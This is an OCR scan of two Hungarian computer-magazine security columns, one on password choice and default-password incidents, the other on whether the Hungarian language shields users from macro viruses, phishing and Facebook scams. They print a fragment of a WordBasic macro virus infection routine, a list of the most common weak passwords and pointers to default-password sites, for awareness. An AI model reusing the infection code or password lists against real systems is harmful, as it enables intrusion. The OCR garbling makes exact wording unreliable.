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Mire valo a jelszd, mit ronthatunk el, mire figyeljiink?

Egy a jelszonk, a békel23

Virusok Varazslatos Vilaga

Sorozatunk 36. epizodja arra kivanja felhivni a figyelmet, hogy a jelszovalasztas mennyire fontos; kideriil,
mikor csinaljuk jol, melyek a tipikus elbaltazasok, és hogyan lehet a bonyolult jelszavakat is konnyen meg-
jegyezni. Néhany szemléletes példaval azt is bemutatjuk, mi var azokra, akik nem kezelik a kérdést sulyanak

megfelelden.

egyiik fel, hogy van egy felhasznalénk,
T valamennyire érdekliis a szamitastech-

nika, hallott mar az adathalaszatrol, és
a virusirtd, kémirto, személyi tlzfal szentha-
romsagotis szépen hasznaljaa gépén. Ezeddig
nagyszer( - bar itt tartana mar mindenki -, és
ezzel sikeresen meg is védi a sajat szamitogé-
pét. De vajon az adataiért is megtett mindent?
Ez mar azon is mulik, mennyire erds jelszava-
kat valasztott a kiilonbdz6 belépési helyein, és
hogy minden helyen mésikat hasznal-e. Van-
nak olyan hasznos biztonsagi szokasok, ame-
lyek melldzését egyetlen virusirté vagy tizfal
sem kompenzalhatja, ez pedig a hasznalt jel-
szavak mindsége, mennyisége és valtoztata-
si gyakorisaga, tovabba ezek gondos és bizal-
mas kezelése.

Eljen és viragozzék az alapértelme-
zett jelszo!

A social engineering rejtelmei, mddszerei na-
ponta valtoznak, béviilnek U] eszkozokkel, il-
letve a kiemelt odafigyelést igénylik a begye-
pesedett pavlovi reflexek helyett. A legfon-
tosabb dolgok, amiket észben kell tartani, a
rendszeres jelszécsere, bizalmatlansag, a ta-
nusitvanyok kiemelt vizsgalata, csak ismert és
megbizhato forrasbol torténd szoftver telepi-
tése, és még hosszasan lehetne sorolni. Sok-
féle hibat kdvethet el egy atlagfelhasznalé; egy
ilyen hiba példaul ha operaciés rendszerében
kénnyen kitalalhato, ergo szétarban szerepld
jelszot valaszt. Emellett pedig sokan csak el-
hozzak a bolthdl Wi-Fi-routert, kicsomagol-

Csak azok a feltort telefonok vannak ilyen
veszélyben, amelyeken fut az SSH-démon.
Ashley Towns nem akart kart okozni, és a fel-
tiinden lecserélt hattérkeép is ez latszik igazolni

A Conficker féreg szétaralapti tamadast indit a gyenge adminisztratori jelszavak ellen. igy a
fertozés kovetkezményeinek kivédésében nagy szerep jut az eros jelszavak hasznalatanak

jak, és sem az alapértelmezett adminisztraci-
0s jelszot [a www.routerpasswords.com olda-
lon barki megkeresheti) nem valtoztatjak meg
azonnal, sem a forgalomhoz nem é&llitanak be
titkositast, vagy esetleg csak WEP-et. Aztan vé-
giil csodalkoznak, illetve ami taldn még rosz-
szabb, mindezt észre sem veszik. 2009 novem-
berében egy ausztral fiatalember, visszaélve
a jailbreakelt telefonokat hasznalok tudatlan-
sagaval és/vagy lustasagaval, az alapértelme-
zett SSH-jelszot felhasznaélva irt egy C nyelvd
férget. Ez tavolrol belépett masok telefonjaba,
lezarta az SSH-portot és felmasolt néhany al-
lomanyt, tébbek kozt lecserélte az inkriminalt
iPhone-ok hattérképét Rick Astley fotdjara. A
virusird, a 21 esztendds Ashley Towns csak egy
jo balhénak tartotta az esetet, azonban a pub-
likalt forraskddnak kszonhet6en késdbb tébb
kartevdvaltozat is késziilt.

Az elnok emberei

2002. szeptember 25-én Friderikusz Sandor
tizenetet kapott a mobiljara Lendvai Ildiko-
tol, hogy 6ra gondoltak az MTV elncki széké-
ben (forras: index.hu/belfold/lendvai0925/).
.Mi a maga palyazatat tamogatjuk elsé soron,
tehat ebben az én véleményem nem véltozott,
és ahogy latom, megegyezik a Péterével.” Az
tizenet azonban kikerdilt a nyilvanossag elé és
MP3 formatumban bejérta a netet. Friderikusz
Séandor végiil nem lett TV-elnck. Hogy tértén-
hetett meg mindez? Ebben azid6ben a Pannon
GSM mindegyik postafiokjanak alapértelme-

zett kodja - ha valaki nem éallitott be magéanak
mast - 11117 volt. Mindenki ezt kapta auto-
matikusan, és csak ennyit kellett beiitnie az el-
kovetdnek is, bizva abban, hogy nem valtoztat-
tak meg. A szerencse a behatold mellett allt,
a jelsz0 az alapértelmezett volt, igy barkinek
a hangpostafiokjahoz hozza tudott férni, meg-
hallgathatta az iizeneteket.

2002. szeptember 28-an a Pannon lecserél-
te az 0sszes hangpostakaddot; ezzel a tovab-
bi hasonlé eseteket kivantdk megeldzni. Elvi-
leg az ekkor hatalyos biintet6 torvénykdnyv az
ilyen tipusu blincselekmények elkovetGit 5 évig
terjedé szabadsagvesztéssel sujthatta volna,
de a torténet végét, az esetleges nyomozas
eredményét mar nem ismerjik. Ennek ellené-
re konstatalhatjuk, hogy ha ismert emberek,
kozszereplSk vagyunk, akkor kiilondsen von-
z0 célpont lehetiink, és éppen ezért fokozott fi-
gyelemmel kell megeldzziik a biztonsagi inci-
denseket. Ezt vagy sajat magunknak kell meg-
tenni, vagy megfeleld technikai segitséget kell
kérni/alkalmazni hozza.

Annak illusztralasara, hogy mennyire nem
valtozik a vilag, vagy talan a marketing legy6-
zi az ésszer(iséget, alljon itt egy 2010. janius
29-i hir. Az AT&T igyekszik felhivni az ligyfe-
lei figyelmét, éljenek az egyedi hangposta-
kod lehetGségével, amelyet 4-14 jegyli szam-
kombinaciéval védhetnek. Ellenkezé esetben
egy androidos telefonrél barkinek a hangpos-
tafiokja lehallgathaté (forras: hopp.pcworld.
hu/7143).
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A Phenoelit az egyik legismertebb weboldal, ahol alapértel-
mezett jelszavakat talalunk (www.phenoelit-us.org/dpl/dpl.
html). A felhasznaloi lustasagra jellemzo, hogy ezek alkalma-

zasa tobbszor jar sikerrel, mint kudarccal

Steve Jobs is megvolt

Nem lehet elhanyagolni kulcsemberek, cég-
vezetdk, és jolismert IT-szereplok elleni pro-
balkozasokat sem, f6leg ha sikeres a kisérlet.
A .felhasznalé” ahol tud, lazit, kdnnyit, post-
itre jelszot irkal, illetve akar meg is adja azt
egy idegennek a telefonban. 2009 majusaban
maga Steve Jobs Amazon aruhazas account-
ja kerilt horogra, pontosabban ennek kihor-
gaszasa az elkdvetd OrinOco szerint mar az
el6z6 évben megtortént, csak a nyilvanossag-
ra hozatalvolt a friss esemény. Emberiink idGt
és faradtsagot nem kimélve, létrehozott egy
hamis Amazon aruhazas weblapot belépé-
si lehetdséggel, és varta az érkezd adatokat.
A sok hétkdznapi felhasznald mellett azonban
nagy meglepetésére egyszer csak maga Steve
Jobs is figyelmetlen volt, és besétalt a csap-
daba: megadta a nevét, cimét, bankkartyaada-
tait, telefonszamat, valamint az amazonos be-
lépési nevét és jelszavat. A hiteles belépésrol
képernyomentés is késziilt, és a tamado leve-
let is irt ,bestseller” Jobsnak, amelyben azt
is megemlitette, hogy 6-7 évre visszameng-
leg elementette a korabbi vasarlasainak lista-
jat. A levélben részletesen elmondta, hogyan
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sikerilt a fenti mddon bejutnia és felajanlot-
ta, hogy egyfajta valtsagdijként vegye meg téle
ezeket az adatokat, kiilonben nyilvanossagra
hozza azokat.

Game over

Az online jatékosok is célpontok, s6t. Mar
2008-as felmérések is megerdsitették, hogy
amig egy lopott WoW- (World of Warcraft) lo-
gin feketepiaci ara 10 dollar, addig egy ..sima”
bankkartyaadat minddssze csupan 50 centet
kostalt a blin6zdi korokben. A havi virustoplis-
ta eredmeényei alapjan is Ugy tlinik, a kartevo-
terjesztk az elmult években a sebezhetdsé-
gek kihasznalasaval mind jobban rafékuszal-
tak erre a terliletre is.
Jelszo-emlékezteto - jo és rossz
otletek

Bizonyara sokan emlékeznek még Sarah Pa-
linYahoo!-s postafiokjanak feltorésére. Amaod-
szer nem feltérés, nem jelszotalalgatas volt,
hanem Uj jelszo igénylése. A sziiletési hely és
id6 megszerzése nem okozott gondot, a titkos
ellendrz6 kérdés pedig az volt, hol ismerkedett
meg a férjével. A dolog érdekessége, hogy er-
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Egy jo példa arra, mihez kezdhetnek példaul egy ellopott belépéssel. Itta

tamado valtsagdijat kért Steve Jobstol
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Bar ez itt most csak egy artalmatlan adasvétel, a biin6z6i csoportok nagy
tételben adjak el a kiilonb6z6 ellopott banki, online jatékhoz valo és egyéb

rélis beszélt mar nyilvdnossag el6tt - és ez egy
bizonyos kdzépiskola neve volt. Innentél mar
meg is volt oldva a dolog.

Az ismert és kevésbé ismert embereknek ko-
molyan el kellene gondolkodniuk, érdemes-e
olyan adattal védeni barmit is, amit réluk a bul-
varlapok hetente megirnak, vagy amit onként
kiplakatoltak az iWiW-es, facebookos lapjukra.

Sokszor nincs sok lehetdségiink, csak a rog-
zitett standard jelszo-emlékezteté kérdések
kozil valaszthatunk: ,your pet”, ,your first
teacher” stb. De ilyenkor sem kotelezé am az
adott kérdésre vonatkozo valaszt adni! Persze
sok helyen van lehetGség sajat kérdést irni, ezt
minden esetben érdemes is kihasznalni, igy
jocskan csokkenthetjlik a talalgatdsos mod-
szer hatékonysagat. Hogy hivjak a kedvenc ta-
narodat? ,Csiitortok_139" - hangzik a valasz,
ésezegyjovalasz. Melyik kdrhazban sziilettél?
.Lekvaros palacsinta fahéjjal”. Dolgozzon csak
meg a feltord, ha akar valamit, ne mi nydjtsuk
atalcan a fejlinket.

Egykulcsos jelszo
A mindeniitt azonos jelszé hasznélata is ko-
moly veszélyt jelent, bar megjegyezni bizo-
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Erdemes a jol konfiguralt virusvédelmi programunk beallitasait is

jelszoval védeni az illetéktelen modositasok ellen
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Ez itt csak egy photoshoppolt vicces kép, de azért el lehet képzelni, milyen kalamajka szarmaz-
hat abhol, ha illetéktelenek férnek hozza egy befolyasos személy levelezéséhez

nyosan konnyl. Ha azonban ezek koziil csak
egyetlen helyszinen is kompromittalddik a be-
lépési adatunk, gyakori forgatokdnyv, hogy egy
jelszd megszerzésekor végigprobalgatjak az
illet6 minden egyéb publikus levelezd, cseve-
g0, kozdsségi, webes, FTP-eléréseit - és gyak-
ran nem eredmény nélkil. Ezzel fokozhat-
jak a veszteségeinket, délnek a tovabbi domi-
nok. Ilyen baleset érte a propeller.hu-tis 2010
marciusaban, amelynél egyszer csak azt vet-
ték észre, hogy az oldal kikeriilt a Google-bdl
(forras: hopp.pcworld.hu/7142). Mint késdbb
kiderlt, a tamaddk Ugy médositottak a robots.
txt fajlokat, hogy emiatt az kitiltotta a keresd-
robotokat a weboldalrél. Emellett a Propel-
ler nevében beadtak egy torlési kérelmet is a
Google-hoz. Az illetéktelen behatolok Ugy ju-
tottak be az oldalra, hogy az lizemeltet6 gmai-
les fiokjat torték fel egy masik helyszinen meg-

Milyen eros atervezettjelszavunk?
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A hopp.pcworld.hu/7148 cimen, a Micro-
soft oldalan is tesztelhetjiik az uj, terve-
zettjelszavunk erosségét. Ha egyarantvan
benne kis- és nagybeti, szam és kiilonle-
ges karakter, valamint hosszabb, mint tiz
karakter, akkor az mar nemis rossz

szerzett jelszot kiprobalva. Ennek segitségével
jutottak el a propelleres jelszavakhoz, és saj-
nalatos mddon a fiokban benne volt két év leve-
lezése, lzleti titkok, jelszavak, amelyeket a ta-
madok elolvashattak, lemasolhattak.

Vajon mennyire miikodik a fantaziank?
Negativ eredményt mutat a Bitkom németor-
szagi, 2010. juniusi vizsgalata, amelyb6l az de-
rilki, hogy a németek 41%-a sosem cserél ko-
dotabanki, aukcids arverési helyszinein,sema
szamitdgépén, sem a mobiltelefonjan. Kizaro-
lag akkor valtoztatnak, amikor erre felszolitast
kapnak, vagy ha technikailag elkerilhetetlen.
A mind a maganszemélyeket, mint a vallalato-
kat érintd felmérés masik érdekessége, hogy
a felhasznalok 37 szazaléka adja at a szamito-
gépét vagy a belépési adatat valaki masnak is
(forras: hopp.pcworld.hu/7144).

A Webroot egy korabbi atfogd, mintegy ezer-
egyszaz Facebook-, MySpace-, Twitter-, Lin-
kedlin-oldal felhasznalojat kérdezte ki egy fel-
mérés keretében 2009 juniusaban. Ebb6l tob-
bek kozott az derilt ki, hogy egyharmaduk
(36%) ugyanazt a kozosségi portalon hasz-
nalt jelszavat mashol is alkalmazza. Ugyan-
csak 2009 februarjaban az Errata Security is
vizsgalta a jelszavak minéségét egy tobb ezer,
PhpBB felhasznaldi csoport alapjan, a vég-
eredmeény itt is siralmas és lesUjtd volt. A két
leggyakoribb valasztott jelszo az ,123456" és
a .password” volt. ime a Top10-es lista tovab-
bi helyezettjei, a leggyakoribb talalatokkal:
.phpbb”, .qwerty”, ,12345", ,12345678", , let-
mein”, ,1234", ,test”, ,123". A jelszovalaszta-
si fantaziatlansag szembet(ng. Nyilvdn nem
lehet figyelmen kiviil hagyni ilyenkor azt sem,
hogy az ESET Magyarorszagon terjedd szami-
todgépes virusok toplistajaban elsé helyét 2009
oktobere 6ta az a Conficker féreg tartja, amely
az operacios rendszer frissitéseinek hianya és
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Ha valamit jelszéval akarunk védeni, akkor
azt is érdemes figyelembe venni, milyen
szotaralapu visszafejtéssel probalkozhatnak
a hackerek. A jelszotoro program alapkész-
letében szereplo ,, XYZ"” kimondottan gyenge
valasztas volt, ki is jott ugy cirka 30 masod-
perc alatt

az automatikus futtatési lehetdség kihaszna-
lasa mellett éppen a gyenge adminisztratori
jelszavak szotaralapu torésével is terjed.

Nem Kaptalanfiired az agyunk

Tébb kilonbozd, ingyenes és fizetds program
létezik a jelszavak sokasaganak biztonsagos
megorzésére. Mi ezek kozil egyet emlitiink
most, a KeePassX-et (www.keepassx.org). Ez
egy ingyenes és multiplatformos (Windows,
0S X, Linux alatt is hasznélhatjuk) jelszokeze-
|6 szoftver, amelyben kényelmesen eltarolhat-
juk jelszavainkat egy olyan adatbazisba, ame-
lyet jelszdval és/vagy kulccsal is védhetiink.
Létezik bel6le hagyomanyos, és telepités nél-
kil futtathatd valtozat is, igy akar Windows és
Linux alatt egy kozos adatbazissal, példaul egy
USB-kulcsrdl is kényelmesen futtathatjuk.

Akkor ezt most hogy?

Osszefoglalva: a jelszéval valé torédés nem
azért van, hogy bosszantson minket, hanem
hogy sikerrel szolgaljon benniinket, amit meg is
tesz, ha mi is gondosan allunk hozza. Ha rend-
szeresen cseréljik, kelléen erdset valasztunk
és nem ugyanazt hasznaljuk mindenhol, maris
sokat tettiink - sajat magunkért. Persze igaz,
ezek az erGfeszitések, jelszocserék munkat és
odafigyelést igényelnek, de akarcsak a bizton-
sagi mentések készitésénél, itt is megtéril a
befektetés, ha legy6zziik a lustasagunkat.

Kérjiik kedves olvasoinkat, ha a témaban kér-
déslik, hozzaszolasuk van, juttassék el hoz-
zank (velemeny@pcworld.hul).

Csi ialstvén,
virusvédelmi tandcsado
Sicontact Kft., a NOD32 antivirus
magyarorszagiképviselete
antivirus.blog.hu
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Fiilig Jimmytol a szofisztikalt megtévesztésig

E(r)des anyanyelviink

Virusok Varazslatos Vilaga

Sorozatunk harminchetedik részében azt probaljuk meg kideriteni, hogy mikor lehet elony - és vajon elony-e
egyaltalan -, hogy a magyar nyelvet beszéljiik? Véd-e ez minket barmennyire is a z6mmel angol nyelvteriile-
ten dulo szemétleveéltol, adathalaszattol, kartevoktol?

ogy a .régi szép” idoket felelevenitsiik

H egy kicsit, Ggy nagyjabdl 1995-ig kell
visszautazni. Az addig zémmel csak

floppylemezek bootszektoraban, EXE és COM
allomanyokban kozlekedd fertdzések mellett
megjelent egy Ujdonsag: a makrokkal miko-
do kartevd, amely Word allomanyok automati-
kusan lefutd makrdiban bujt meg. Természe-
tesen késdbb az egyéb makrézhato fajlok sem
kerllhették el a sorsukat, igy lett aztan Excel-,
Access-, Lotus-, CorelDraw- és egyéb makro-
virus is. Eleinte csak a dokumentumok betdl-
tése kozben a [Shift] billentyl nyomva tarta-
sa - vagyis az automatikusan indulé makrok
kézi tiltasa - volt az egyetlen védekezési mo-
dunk, aztan idével a virusvédelmi programok
is felvették a keszty(it, és védtek a virusos do-
kumentumok ellen is. A kartevokhdz hasznalt
nyelv eldbb a Word Basic, késébb pedig a Vi-
sual Basic for Application (VBAJ volt. Az el-
s6 idokben jol jart, aki magyar nyelvd irodai
programot hasznalt, mert a kiilonféle nyelvi
verziok gatat szabtak a terjedésnek, hiszen az
utasitasok nyelve a kartevkben el6sz6r csak
angol volt, igy az angol Concept virus nem fu-
tott a magyar Wordben. Sajnos nem tartott
sokaig ez az idilli allapot, mert részint megje-
lentek magyar nyelvi makrovirusok is, mas-
felol a késobbi virusok, példaul a Wazzu mar
leforditott automatikus makrokkal operalt, és

Az emberek 98%-a
kapcsolatba.

m tuaza 1/ masoapercne: wovaoo neznt ezt @ viaeot remt van a race
nem tudja 17 mésodpercnél tovébb néznl ezt a videdt az Ismerbsod? Regisztrélj a Face

. Az emberek 98%-a nem tudja 17 masodpercnél tovabb nézi
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Ozendfal  Adatok  Video

e

1.469 ember kedvell
t

ai~ '~ tsmail  Adr . ne
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rta na Ki--dia

63.006 ember kedvell

2t
Ao~ Tih. sér Barbar.
ker B.sik a

A magyaritott Facebook-kartevo azért lehe-
tett sikeres, mert jo és figyelemfelkelto volt
a magyar forditas, nem tgy, mint a tort ma-
gyarsaggal megfogalmazott korabbi hamis
banki értesitoké. 2010. augusztus masodi-
kan csak 13 és 17 ora kozott tizennégyezren
estek aldozatul

@ HM Revenue

&Customs

Online Services

Welcome to HMRC Online services

HMRC home \ Contact us | Help

Existing users

Please enter your User ID and password, then click the
'Login' button below.

Please note: Fields are not case sensitive.
User ID:| |@
Passwurd:| |@
| Login |

¥ Digital Certificate user

» Lost User ID?

» Lost password?
» Lost or expired Activation PIN?

» If you have lost both your User ID and password
please contact the HM Revenue & Customs (HMRC)
Online Services Helpdesk.

New user

To register for online services please click the 'Register’
button below.

| Register-|
+ Digital Certificate user

» Erequently Asked Questions (FAQs.
» Computer requirements

» View a demo of HMRC's services

» Reagistration and Enrolment process

Az Egyesiilt Kiralysagban az adobevallasi hatarido elott rendre megjelennek az adathalaszok,
és a hivatalos weboldalra megtévesztoen hasonlé oldalaikra mutaté spameket kezdenek el
tomegesen kiildézgetni az adohivatal nevében, gyors ado-visszatéritést igérve

ez mar gond nélkil futott minden nyelvi val-
tozaton. Vagyis megallapithatjuk, hogy tartés,
jelentds eldnylink itt nem szarmazott a nyelvi
kiilonbdzoségiinkbol.

Az vagy, amit telepitesz

A programok telepitésénél mar semmi kii-
lonbség nincs az angol nyelvii és magyar
nyelvii felhasznalok kozétt. A kilénbozé
szoftverek tobbségét az emberek minden-
hol el6zetes tajékozodas nélkiil, a felhasz-
naléi licencszerzédés elolvasasa nélkiil, a
vilaghirl next-next-finish madszerrel te-
lepitik. Van, akinél a tiirelmetlenség, van,
akinél a megfelelé nyelvtudas hidnya az
akadaly, a felhaszndaléi programok jelen-
tés tébbsége ugyanis kevés kivételtdl elte-
kintve angol nyelv{, és csak a szerzddés el-
fogadasara kattintva lehet installalni. Ez a
telepitési folyamat egyébként az egyik leg-
gyengébb lancszem a kartevik elleni véde-
kezésben is. Hiszen gondoljuk meg, progra-
mokat nemcsak a szamitogépiinkre, hanem
az iPhone-unkra vagy androidos okostele-
fonunkra is telepitiink, de ugyanez a hely-
zet a bongészokben hasznalt kiegészitokkel
vagy a Facebookon belili jatékokkal, alkal-
mazasokkal. Ez utobbiakban mindenki va-
lamilyen rejtélyes okbdl jobban megbizik,
de ezek koz6tt is barmikor lehet tréjai. Az

DIASPORA*

the project

Diaspora: Personally Controlled, Do-It-All,
Distributed Open-Source Social Network

I :

Vajon sikeres lesz az Uj open source kozossé-
gi oldal, és belekeriilnek a tervezett bizton-
sagi elemek? A Facebookon az adatvédelmi
beallitasokat magyarul is elvégezhetjiik,
mégis csak kevesen teszik meg

egyetlen hasznos hozzaallas tehat az ala-
possag és a gyanakvas.

Banki spamek magyarul

Nyelvi szempontbol taldn ez a legszdrakoz-
tatobb rész - legalabbis egyeldre. Az elké-
szlilt csalard adathaldsz e-mailek nyelveze-
te gyakran még egy ovodas szintjét sem érik
el, de a csali weblapok, a banki és egyéb hi-
vatalos oldalak masolatai mar sokszor
meglepden jo mindséglek - igaz, elirdssal,
helyesirasi hibakkal hébe-hdba még eze-
ken is talalkozhatunk. Emlékezetes, hogy
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e
Hirdetés Elzart Downloads

Shareware$ 29.95
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Shareware$ 24.95
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Lorincze Lajos beajulna - avagy madarat tollarol, weboldalt ékes magyar nyelvezetérol. A
végletekig megbizhato, preciz és gondosan ellenorzott programokat nagy valosziniiséggel

nem itt kell majd keresni!

2006 végétdl 2007 elejéig szamos intenziv
probélkozas tortént: gyors egymasutanban
tobbek kozt az OTP, a Budapest Bank, a Ra-
iffeisen Bank és a Szigetvari Takarékszo-
vetkezet weboldala ellen is adathalasz ta-
madast inditottak. Szamos Ujsag a cimla-
pon foglalkozott az esetekkel, am jelentds
karokrdl nincs tudomasunk.

Mit ér a kartevo, ha magyar?

Ha nem is tomegével, de sziilettek virusok
Magyarorszagon is. Az egyik legérdekesebb
eset talan az volt, amikor a CHIP Magazin
1997. juliusi szamanak CD mellékletére fel-
keriilt egy virus: a HDD Cleaner 2.0, amely ra-
adasul magyar készités( volt. Az incidensre

Ac.M

100 millio, koztiik sok magyar Facebook-fel-
hasznalo publikus és keresheto adata. A Giz-
modo szerint a hétk6znapi maganemberek,
adathalasz biin6zok mellett a nagy cégek
érdeklodését is felkeltette a lista
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még a Kossuth Radio Déli Kronikajaban is fel-
hivtak a figyelmet. Egy masik magyar virus, a
Zafi is nagy hirnevet szerzett: szamos verzid
latott beldle napvilagot, és elterjedtségére jo
példa, hogy a Sophos 2004. jUniusi havi top-
listdjdra nemcsak felkeriilt, hanem 30%-os
eredménnyel az elsd helyet foglalta el. Vagyis
ebben az esetben egy magyar kartev6tél nem
tudta megvédeni magat a vilag tobbi része; itt
nem léteznek hatarok.

Levélszeméthelyzet

A banki adathalasz levelekkel mar foglal-
koztunk, maradnak hat az egyéb atverések.
Cikksorozatunk 30. részében mar részlete-
sen foglalkoztunk a 419-es nigériai csalasok-
kal, és jol lathato, hogy a nyelvi korlatok nem
akadalyozzdk meg sem a magyarokat, sem a
mas idegen anyanyelviieket abban, ha Dr. Un-
ga-Bunga afrikai térzsfénok millidinak ki-
mentésében kell segédkezni, vagy csak fel
kell venni azt az e-mail lotton nyert nyere-

o

Ohbjektum:

Ci\kenvertaini', ~ gvfzDoGtmp
Kirtevs:

WOTM/ Wazzu{DI DU, FW X} virus
Informacidk:

megtisziitva - karanténba helyezrve

A késobbi makrovirusok, példaul az 1996-os
Wazzu mar leforditott automatikus makrok-
kal operalt, és igy gond nélkiil futott minden
egyes nyelvi valtozaton, tehat a magyaron is

Are you human?

To prove click on the red and
after that on the blue button.

Akik ezuttal megfeleltek az angol nyelvii
Facebook captcha-teszten, és bebizonyitot-
tak, hogy emberek, automatikusan ,,lajkol-
tak” a tamadok csoportjat, és sajat neviikben
tovabbkiildték az ismeroseiknek a magyar
nyelvii kartevot

ményt, amelyen el6zéleg nem is jatszottunk.
Az aldozatok vagy tudnak angolul (de kézben
rettentd hiszékenyek), vagy ha kell, még segit-
séget is kérnek nyelvet beszéld ismerdsiiktol
a levél elolvasasahoz és a valaszuk megirdsa-
hoz. Id6vel aztan szépen lassan minden angol
nyelv(i csaldsnak megérkezik a lokalizalt ma-
gyaritott valtozata is, eleinte altalaban vicces,
nyersforditott, szogletes Fiilig Jimmy-stilus-
ban irva. Az ellopott, feltort Facebook-fio-
koknal egy ideje mar zajlik az a forgatokdnyv,
hogy az ismerGsok cimére iizenetet kiildenek
latszolag a barat nevében, amelyben olyasmi
szerepel, hogy az illetd kiilféldon van, ellop-
tak a pénztarcajat és pénzt kér. Ebbél is meg-
érkezett a magyar verzid! Az alabbi 2010 juliu-
si levélszoveg elolvasasa utan mindenki dont-
se el, kiildene-e pénzt egy ilyen szivhez szdlo,
ékes magyarsaggal irt kérésre:

.Sajnalom ezt a furcsa kérés, mert lehet,
hogy neked is stirgds, de azért, mert a helyze-
te a dolgok most, Beragadtam London, Egye-
silt Kiralysag most. Azért jéttem Itt a vakacio,
azt kiraboltak, rosszabb az is, hogy a taska,
készpénz és kartydk és a mobilom Elloptak
a GUN PONT, ez egy ilyen ériilt élmény volt
szamomra, sziikségem van segitségre vég-
hezvinni a szallodai szamlék, a hatdsdgok
nem 100%-ban témogatjak, de az jo dolog van
még mindig az utlevelem, de nincs elég pén-
ze a szallodai szamlak, és gyere haza, kérlek
Azt akarom, hogy kdlcsdn egy kis pénzt, ak-
kor visszatériti, amint én vagyok otthon, igé-
rem. Koszonet”

Zsebre vag-e minket a torténelem?
Nagy ritkan érkeznek nyelvtanilag kifogasta-
lan prébalkozasok is, az egyik ilyen a napok-
ban tombold Facebook-,virus”, amely Az em-
berek 98 szazaléka nem tudja 17 masodperc-
nél tovabb nézni ezt a videdt cimmel probalta



Fhe infection routine of this virus :

'see if we're already installed

For i = 1 To iMacroCount
If MacroName$(i, @, @) =
bInstalled = -

"PayLoad” Then

End If

If MacroName$(i, @, @) = "FileSaveAs" Then
bTooMuchTrouble = - 1

End If

Next i
If Not bInstalled And Not bTooMuchTrouble Then
'add FileSaveAs and copies of AutoOpen and FileSaveAs.
‘Payload is just for fun.
iwweIInstance = Val(GetDocumentvar$("wweInfector"))
sMe$ = FileNamesS()
sMacro$ = sMe$ + ":Payload”
Macrocopy sMacros, "Global:PayLoad”
sMacro$ = sMeS + ":AAAZFS"
MacroCopy sMacro$, "Global:FileSaveAs"
sMacro$ = sMes + ":AAAZFS"
MacroCopy sMacro$, "Global:AAAZFS"
sMacro$ - sMes + ":AAAZAQ"
MacroCopy sMacro$, "Global:AAAZAQ"

Idésebbek és katonaviseltek még emlékez-
hetnek a Microsoft Word 2.0 programra. Bar
megjelentek rajta a platformfiiggetlen mak-
rovirusok, a kiilonféle nyelvi verziok eleinte
gatat szabtak a terjedésnek: példaul az angol
Concept nem futott a magyar Wordben

megtéveszteni a felhasznalokat - nem is si-
kertelenll. Aki beddlt ennek, és rakattintott
a captchanak alcazott képre, az akaratlanul
is megosztotta ismerdseivel a kartékony lin-
ket. Azonnal a csoport rajongéi kozé kertilt,
és a nevében az ismerGsei lizenetet kaptak,
amelyben a fenti videot ajanlja figyelmiikbe.
Tulajdonképpen semmilyen vided nem léte-
zett, helyette viharos sebességgel nétt a kar-
tékony oldal rajongoi tabora, augusztus 2-an,
hétfén tobb mint ezer fével dranként.

A Facebook nem védi kelloképpen felhasz-
naloit, a mara 500 millids felhasznaldi tabor-
ral rendelkezé kozosségi szajt mikodtetdi al-
taldban csak akkor szanjak ra magukat, hogy
orvosoljanak egy-egy problémat, ha mar ha-
talmas nyomas nehezedik rajuk a felhaszna-
l6k vagy a hatésagok részérél. Az amerikai
oldal mikaddtetGinek nem is érdeke megbir-
kézni a hatalmas felhasznaldi szambol adddd
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A cirill betiik oka a levélben szereplo Win-
dows-1251 kodolas, ami miatt arra is gyana-

kodhatunk, hogy az iizenetet valojaban ukran,
szerb, bolgar vagy macedon csalok irtak

szamos problémaval, hiszen igy is pénziknél
vannak, és nem gondolkodnak kelléen el6-
relatoan. Nem lehet a felhasznalokra bizni,
hogy 6k maguk ellendrizzék az oldalon elér-
het6 Uzeneteket, linkeket, csoportokat, web-
alkalmazasokat - ezt maganak a Facebook-
nak kellene hatékonyabban és gyorsabban
elvégeznie. Pillanatnyilag csak a sokak altal
problémasnak jelolt tartalmakat vizsgaljak,
illetve indokolt esetben eltavolitjak azokat, de
csak jelentds késéssel, utolag.

Id6kozben elkezd6dott egy nyilt forrasko-
du, Diaspora nevi privatszféra-tudatos ko-
z0sségi oldal fejlesztése is. Ha ez valdban
sikeres lesz, és izletileg mar esetleg ve-
szélyezteti a Zuckerberg-birodalom bevé-
teleit, akkor a Facebook fejlesztdi nagy va-
lészinliséggel egy hétvége alatt bepotoljak
az eddigi hanyagsagot, és javitanak, kiegé-
szitenek majd.

De a .videds” esetre visszatérve, az, hogy ez
az atverés ilyen sok magyart érintett, feltehe-
téen annak kdszonhetd, hogy a terjesztésére
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A securitate okokbol kifolyolag zértuk le az én kontjat.
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Mmdlg ez torténik, ha Bataviaban kozos cellaban raboskodik Fiilig Jimmy, Csiilok, Tusko Hop-
kins és Torok Szultan. Gorcsosen probalkoznak 6sszehozni egy épkézlab adathalasz levelet,

de az eredmény rendre ilyen siralmas lesz
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Kéretlen angol nyelvii iizenetet a Skype-on is
lehet kapni. Akinek van bizalmailyen oldalon
»gyogyszert” venni, az megrendelheti a valo-
ban olcso pirulakat. A lényeg az, hogy az olda-
lon repesve varjak a bankkartya-adatokat a
haromjegyli biztonsagi koddal egyiitt

szolgald lzenet kifogastalan magyar nyelvi
volt, vonzd és frappans cimmel rendelkezett,
rdadasul mindig ismerdstol érkezett.

Halmozott hatrany vagy elony?
Visszatérve a nyelvi alapkérdésiinkre, 6sz-
szességében ha csak az adathaldsz és ban-
ki csalasokat nézziik, eddig még védve vol-
tunk; nemigen fordult eld olyan j6 minGségd
megtévesztés, amelyen ne nevetett volna
az ember. Talédn ez sem lesz mindig igy, de
az ilyen tipusu levelek elsddleges célhely-
szine tovabbra is jobbdara az angol nyelvte-
riilet. Ennek az is az oka, hogy a banki és
egyéb lopott azonositok piacan a hatsé me-
z6nyben foglalunk helyet, hiszen az alvila-
gi feketepiacon azok az orszagok allnak az
élen, ahol magasabb az életszinvonal, emi-
att nagy eséllyel lehet a kartyakrol problé-
mamentesen leemelni 500-2000 USD nagy-
sagu Osszegeket. A virusokat, férgeket és
egyéb klasszikus kartevoket - lasd példaul
a sok orszagban vezeté Confickert - tekint-
ve aztan el is tlnik ez a nyelv adta kilonb-
ség, netezés kzben mar ugyanazokat a fer-
t6zéseket kaphatjuk meg .forintért”, mint a
Lajtan taliak valutdért. A f6 feladat mind-
azonaltal leginkabb az lehetne, hogy a sza-
mitdgépes biztonsag szempontjabol nem
hozzaérté felhasznaléi tomegeket valami-
féle képzéssel legalabb az alapvetd veszé-
lyekre megtanitsak.

Kérjik kedves olvasoinkat, ha a témaban
